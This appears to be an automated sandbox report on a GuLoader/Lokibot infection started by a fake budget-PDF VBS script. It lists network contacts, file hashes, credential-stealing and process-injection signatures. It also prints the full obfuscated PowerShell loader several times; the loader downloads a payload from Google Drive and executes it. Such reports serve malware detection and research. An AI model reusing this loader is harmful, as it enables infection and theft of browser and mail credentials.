(Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/2440-4-0x000007FEF603E000-0x000007FEF603F000-memory.dmp
memory/2440-5-0x000000001B600000-0x000000001B8E2000-memory.dmp
memory/2440-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp
memory/2440-7-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
memory/2440-8-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
memory/2440-9-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
memory/2440-11-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
memory/2440-12-0x000007FEF603E000-0x000007FEF603F000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WIY7CBA3PHNL0NH8TMWT.temp
| MD5 | cd83f3c4250e409c934642a7246e88b0 |
| SHA1 | 3981ffd31e143868c63d96a2785247677026110f |
| SHA256 | be1997d4d63ea5da11ae000274273676059cc8bc85f6891fff11a279671841fe |
| SHA512 | ce6a1d4a1facf1a7778a8f47af107fd5f27162d111ed7fe28702f8d87db604a10da2b76ffb857fed0e19016389909b0573089b909dfd9f22a0d3f9015b707fb4 |
C:\Users\Admin\AppData\Roaming\Bardehval.Enz
| MD5 | e048f9895e60b14e68f76e0fcadd5d08 |
| SHA1 | 5a0e7bbb4c32a5aab5d3b85ffd49b89b745e3c8a |
| SHA256 | 5db5b10985a7f39cc9fcfc42b352709355f3b83a724b9fa24b8806c9feb3b029 |
| SHA512 | 5ef521cee99243aef2621caac9f0ae85357ee4ab84b80452dfe473d473e9a0e965717d5abd3445f73456104afbe76b6e819e666f77df4bb32b6cb7132ce069f0 |
memory/2900-17-0x0000000006520000-0x000000000BE7F000-memory.dmp
memory/3020-18-0x0000000000590000-0x0000000005EEF000-memory.dmp
memory/3020-20-0x0000000000400000-0x0000000000581000-memory.dmp
memory/2440-41-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp
memory/3020-40-0x0000000000590000-0x0000000005EEF000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-17 14:04
Reported
2024-09-17 14:06
Platform
win10v2004-20240802-en
Max time kernel
147s
Max time network
146s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3240 set thread context of 1280 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for budget 09-17-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa tigSideal F.ueoUnt abA,abiaBai,ilUdske:FiskeKUnderaImmorf ElegfFe lte SturpPaedouAut dnDu,fac S.rahXantheTogrerprs ns lgu=Sam e$atr ctS,mphrPrediu,deryevanes ') ;Pedologic59 $Scrammed;Pedologic59 (Teleskopaffjedringer 'DramaSTopputunsinaMajusrsvenntR fle- For SBursalSekveeFakkeeCoh bpProta Bache4Bevil ');Pedologic59 (Teleskopaffjedringer 'C.uga$S,mvig tilvlAnlgsoUds.lbK.yneaSten,l.naps:ProdigUnd poKtu hdepitesB.lurtUn,rooFe ongFe,lbeAbefe= Skde(Clea T lugte HuslsCanaltSbeva-KontoPP ychaV lstt Resihlando forpl$krimiC DyrehInteraSnigsnReekseVe,telSmaallAu is)Bost ') ;Pedologic59 (Teleskopaffjedringer ' Vege$ TidsgUnexcl,egreoPu teb GrooaBr enl Hypo:,owisR AkkoeD.centYeorlsBeklasTrekay oncsc pittLympheUnfixmEnepi=Ext a$ pulegGiredl almeoemb,lbGuldmaPim,elEd ti:.cecaK,urswoHva.pnnaboftKron,rTrkkro TelelFibrifFl stu.ytjenHentekTagkatUnivaiFo teoMylden rosteStretrAcephsHjovn2Ungut3Aands0Infec+Melod+Derma%Embry$Op orT urleoMitchlMorgevEksemaHstma.DikelcKoreco DomsuSnrenno ridtStats ') ;$Nydannelsen=$Tolva[$Retssystem];}$Hovedstadsregionens=324505;$Primost=29091;Pedologic59 (Teleskopaffjedringer 'Skjor$Overgg ,pkalOver.oDecapbKvivaaSynodlKr,om:HieraSre,inuB.tsepSyreneL,engrMa temUn cqnDewladBavn sS.itt H ems=B sge Rem.sGAnd,oeAlenetKlamr- She CAppeloAperinillintFormeeHeptanpretztFeud, Prech$ OverC aubeh I.enamimesnLovpreKvalil DrowlBe ns ');Pedologic59 (Teleskopaffjedringer 'Baads$FremlgSl.efl motoo MejebNetbaaPandal Brev: CyrtBp ycha RendnTryktiOarl.sUnc kt BarseSethir St eiBol inHel iereser be bn=Bekli Si e[ VotaS RastyFo tssan.ectSvbelePlatfm Anti.AarskCFo ieo iparnA gifvRa aseTredvrOplystAltin]Lrerp:famil:Si.niFSubcrrPersoo oncamReinkBScaphaChucks,orkleSynag6Ordni4Ma emS Ny ttbrnepr DemoiS btenKonkrgSuper(barr,$K.tekStyng,u reatpSyn.aeMacadrBr scmRese.n WaffdOmgresderm,)Uphea ');Pedologic59 (Teleskopaffjedringer 'Dalle$ SagegUdartlAflaaorazzebUra,salivstl nutg:.ealiCKnepaoafskyeKotallGrn.eoNonpumL.ste U.bom=Ka,tu Sand [ TenoSEfte yBussesThorot SkyleBruttm edru.VrisnTUn.roeSterrxFullatCommu.KollaELimfanBugtacOmbrioEmeridOpkr,iB atinComebgSubsp]defat: usm:VildtAT.kmaS Ex lCSkinnI yritI atte.Emb yGNonmoeB,thltPunicSAl,entF ettrTriani HegenBifidgFestp(A dic$cur aBRheinaDec,inUngdoiSexbosLiegetKal ieA.drarFabriistueanoplggeFo.an) tand ');Pedologic59 (Teleskopaffjedringer 'fores$ Uni.gKabellComicoR furb ZagraGl rilE cip:RumenHTalriuInconlTromphHobroeBagerdmidpoe.rdspn Im es erm= Puna$UnfraCVisseoTalleeAtroflk,mbioToro m M,nu.Uncons olyu Forsb Ti.hsSt ertS.bstrMistriKanonn En.ogtelep(Ansva$To.awHKonomoD agovLegateratepdSacchsFil,btundera Skuldindics MaiorH.llee Evn,gKvartiKllino o.ernGasflePlantnGlazisEnep.,Locom$ Udd P ngdorLatriiCeltom ennoC.ntrs sedrtKrigs)Wed l ');Pedologic59 $Hulhedens;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Bardehval.Enz && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Festivalfolket Provaccination skydeprammens Vinterleg #>;$Pliosaurus='Kneppede';<#Kvabtorsk Fremholdes Programmelkonstruktionen Florate Fantomers #>;$Adilss=$host.PrivateData;If ($Adilss) {$Macabreness++;}function Teleskopaffjedringer($Varmefordeling){$Brittles=$Varmefordeling.Length-$Macabreness;for( $Unspottable27=5;$Unspottable27 -lt $Brittles;$Unspottable27+=6){$Middelstanden+=$Varmefordeling[$Unspottable27];}$Middelstanden;}function Pedologic59($Bordellets){ & ($Epaulement) ($Bordellets);}$Kootchar=Teleskopaffjedringer 'RoyalMBer roB gumzPa,beiOranglVejl lVer ea Fabu/,etta5Mi si.sv,ke0Germi Fiske(Me hhWBibliiSneginHep.tdKa,apo TeakwupbowsSmoot StrbeN Em tTHyste Sv.ne1Skvad0Sta e. Pred0C,unt;D,odo bedgoWTax ki .yponPreco6Ru.ds4Jacul; Dron enbrxOmpla6Tea t4 a vn;Recom photorOp ylvRemis:Jager1Asyll2Futur1 xuv.Bortf0F rur)Afi.e OvergGGrandeskar.cPyralk TungoMater/Lde v2Backw0 Yuga1tykbu0He.te0 Hen.1Aller0Snowb1Pos.e andsFUnp siBnnemr P rleHulebfGeneaoSvrmex ntab/Accen1 Skyf2Weiss1Di lo. Bulk0 Hype ';$Guamuchil=Teleskopaffjedringer ' PerouVelsesMaalee Aidsr B.an- Ci eaaftesGU,streHundeNs.mmeTconsc ';$Nydannelsen=Teleskopaffjedringer 'F igrh Kam tTeleft An cpInfrasHejse:Rafle/Trak./concadB sonrCart,iinterv,oeree Refl.ResmegKokseoDestioObliggVirksl for,eGallo.Indsic Eso oKri imFran / SlbeuAntikcHafiz?Downse.bbesx AdnepQuai o orkrOutkntla un=Transdunge o.otogwstudinPraeslProsaoProsaaUnderdSwitc&Polygi steddHoyma= A ar1Trag lPla.utM sapO Act 5Alm.nCParge6Pauc,bMummeY SkroYUnpersDecla8a ignTKampuCAj gapAfson3 LentGUdeliUH demv erh5meta rReo,sTPrjs - estIHavnel P antangriSForan2 AleyyUntrum TranqFostewG,dseD etss ';$Sagsgte=Teleskopaffjedringer 'Bolsh>Outki ';$Epaulement=Teleskopaffjedringer 'GalliIdob eeUnderXcrani ';$hexastich='Enneateric';$Lecithinase = Teleskopaffjedringer 'TophueUnvocc GloihCou aoGemin Spirk%NyvuraCafflpSaddep dobodatom aCeromtMart aGge,u% deaf\Shum.B .rnea Med r.ladrdT lereP onehGallov Mu la acralHj ta.RinsaEUndernTeleszTran, Print& igfo&Chis LagereFodhvcMiasmhAp reoMikro l tet agg ';Pedologic59 (Teleskopaffjedringer 'Misdi$Ris egStolpl lukooImmi bPha aa redel Stra: tetBTransaGen ra FirmnGendad gokklTrkulgUnnergFinineGouarlCaldesEstope Ud a=F rve(HypotcPro tm ,ercd U et homp/ CraccItchw Hayco$ BoskL tofmeFuldbcBermmiUlotrtMicrohOvermiAmazonJawboaLymphsDrifteNedhu)Cl.pi ');Pedologic59 (Teleskopaffjedringer 'Kortb$Rose.gAttaclSynapoRetslbLi gyaSg.scl Imd.:SparkTPlausoJacksl.anskvfladeaHants=Bir,h$Na teNRefecyM ssadskydeaRingen Une,n RumteSt.rtlFerresMultieMo.alnTvang. PiblsMajsep Fin.lHolteimetactMuse (Verde$EfterSArchdaLithog nbuns quadgQuotatRoutie Xy o) Syst ');Pedologic59 (Teleskopaffjedringer 'Vrdie[ rftcNGlimdeRetrotC ivy.TopuiSscuffeImmatruskylv AnisiAlm ncPseudeBlaspPMixtuoIndgaiTotorn onnet DagbMRundta.ossinPseudaSliveg vume remr Un r]Apida:J,sti:,edjuSDyrsse CliqcvindmuHyrd r Trk,i ForstUnderyUnstoPBal.rrNed,koHel et BibloT,poac addoTaansl,onow Hj mm=Flau, Speak[ orsmNLser ecentrtOve,m.SkrmmSFunkte GunpcA.roauSlaverHjreciCa.kytB lloyAmaraP Mod,rSpedioBaan tScotooDatomcGrsseo D nilPaabuTUnp.myFolkepK ogleBrand]Under:Konse:O,asiTmortrlTurnbs ebra1pseud2 Amts ');$Nydannelsen=$Tolva[0];$Bengnaveres= (Teleskopaffjedringer ' Meth$QuantGMinorLB,llsOOverpBIdylla Sp rLEksp :OmrysCPosthlHovedAAfhasnDiploLTripae AnemsPeppiSHudo =PathoNFortjE ExtrwJulel-PrecoOBddelBGinnej fiduETarifCPleniTSangu skrivsTaarnyFlyttSSti nTA ailETamboMOv rw. DruknFjumreErgott.oved.Ner eWFininEGeolobVbnencPoetilVerdeiMaskie Ha.snIndkot');$Bengnaveres+=$Baandlggelse[1];Pedologic59 ($Bengnaveres);Pedologic59 (Teleskopaffjedringer 'Aktiv$Bio eC irculFortraRobinnBrestl Buffe Beh.sF.skesExost.PretrHStille DeepaSlut dAranee ynanrHiplispostv[ Ther$RefelGPopkouSun haRoudkmGymnouSp jtcAsp rhGra diFreellHurdl] larm=Fr sc$prcisK ErgooAr,aloBalnet flejcun ouhRadioa VelsrBgesp ');$Scrammed=Teleskopaffjedringer 'Bicar$Sonn,CP,oevlTer eaOpgr.n WonglGravre DamssSinlesRstis. t ivDHype oNudiswOmhygnHaplolafsliochestaUnjuddNeuraF limico ntlDiskeeSakra(Dep h$Ther NPestey egasd ExtraCharln AfrunAmathe FishlBrochsGnathe.permnParti, A li$Po,ynCRowlohAmat aSadeln c.vaeF ngilFo.dml Vogn)Charl ';$Chanell=$Baandlggelse[0];Pedologic59 (Teleskopaffjedringer 'Un.en$IndiaGRevallK preOKo dibKamufAStereLoplri:PlantGBy.niOklimpdPericSA tritUnco.oMisadgDispoE.hana=Skole( Difftsol eENedkuSFusedTU der-Prs dPRdha AHengitG neth Roug Filre$ Att CKildehDrammARe,lun Bs eeUnf oL vikil Udpo)Rerow ');while (!$godstoge) {Pedologic59 (Teleskopaffjedringer 'Ato i$Fa 